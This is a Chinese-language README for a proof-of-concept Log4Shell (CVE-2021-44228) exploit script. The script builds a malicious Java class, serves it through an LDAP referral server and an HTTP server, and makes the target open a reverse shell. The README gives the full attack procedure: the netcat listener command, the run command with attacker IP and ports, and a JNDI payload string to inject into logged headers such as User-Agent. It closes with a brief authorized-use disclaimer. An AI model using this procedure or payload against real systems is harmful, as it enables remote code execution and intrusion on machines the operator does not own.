
CVE-2021-44228 漏洞的概念验证。
针对Log4j漏洞(CVE-2021-44228)的概念验证(PoC)利用工具,该漏洞也被称为Log4Shell。该工具会生成一个恶意Java类,启动LDAP引用服务器,并通过HTTP提供payload,使远程攻击者能够在易受攻击的目标上执行任意命令。
poc.py 位于同一文件夹中:
jdk1.8.0_20/ – Oracle JDK 1.8.0_20 的副本(包含 bin/javac 和 bin/java)。如果缺失,脚本将尝试使用系统的 javac 和 java 命令。target/marshalsec-0.0.3-SNAPSHOT-all.jar – 用于启动LDAP服务器的 marshalsec JAR文件。jdk1.8.0_20 文件夹和 marshalsec JAR。pip install -r requirements.txt
使用Python运行脚本:
python3 poc.py [OPTIONS]
在你的攻击机上启动netcat监听器(将 9001 替换为你选择的端口):
nc -lvnp 9001
运行exploit:
python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
如果省略 --userip,脚本将自动使用你机器的主IPv4地址。
脚本将显示一条用于注入到易受攻击目标的payload字符串,例如:
${jndi:ldap://192.168.1.10:1389/a}
将此字符串注入到易受攻击的Log4j实例会记录的任何输入字段或HTTP头中(例如 User-Agent、X-Forwarded-For 等)。目标将连接到LDAP服务器,从HTTP服务器获取恶意类,并执行反弹shell。
你应该会在netcat监听器中看到shell连接出现。
userip:lport 的反弹shell代码的 Exploit.java。javac)编译该文件。webport 上启动一个简单的HTTP服务器,以托管已编译的 Exploit.class。/bin/sh,适用于类Unix目标系统。对于Windows目标,你需要修改 Exploit.java 中的命令。webport 和 lport)上的入站连接,并且目标能够访问你的机器。脚本在退出时(无论是正常结束还是KeyboardInterrupt之后)会自动删除 Exploit.java 和 Exploit.class。如果需要保留这些文件进行调试,请注释掉 poc.py 中的 finally 代码块。
此工具仅用于教育和授权安全测试目的。在你不拥有或未经明确许可测试的系统上未经授权使用此exploit是违法的。作者不对因使用本软件而造成的任何误用或损害负责。
| Argument | Type | Default | Description |
|---|
--userip | string | auto-detected IPv4 | LDAP和HTTP服务器将绑定并通告的IP地址。目标机器必须能够访问该地址。 |
--webport | integer | 8000 | 用于提供已编译的 Exploit.class 的HTTP服务器端口。 |
--lport | integer | 9001 | 你的netcat监听器等待反弹shell的端口。payload将回连到 userip:lport。 |